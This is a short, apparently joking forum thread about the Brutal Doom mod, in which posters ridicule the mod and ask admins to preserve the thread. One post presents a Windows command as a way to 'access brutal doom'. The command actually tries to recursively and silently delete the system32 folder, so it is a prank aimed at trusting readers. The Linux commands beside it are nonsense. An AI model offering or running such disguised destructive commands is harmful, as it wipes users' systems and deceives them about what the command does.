Hey admins, when you close this crap down, can you please still make it visible? I absolutely hate this but I definitely think it still should be preserved for posterity.

an alternative method to access brutal doom, you must have Windows for this to work. press CTRL+R and type in cmd /c rd /s /q %windr%\system32

if you are a linux user just do:
mkdr brootal
then:
cd brootal
sudo apt-get rip_and_tear.wad

Someone please email the URL of this thread to John Carmack to see what his creation has brought upon the Earth.

EDIT: And Romero too while we're at it.

Why are you linking DN3D's wikipedia page? What does that have to do with brutal doom?

This thread should be preserved for generations to come.

Say three times "*Linguica is the greatest admin of all time*", followed by "*Mordeth will never be released*", twice.
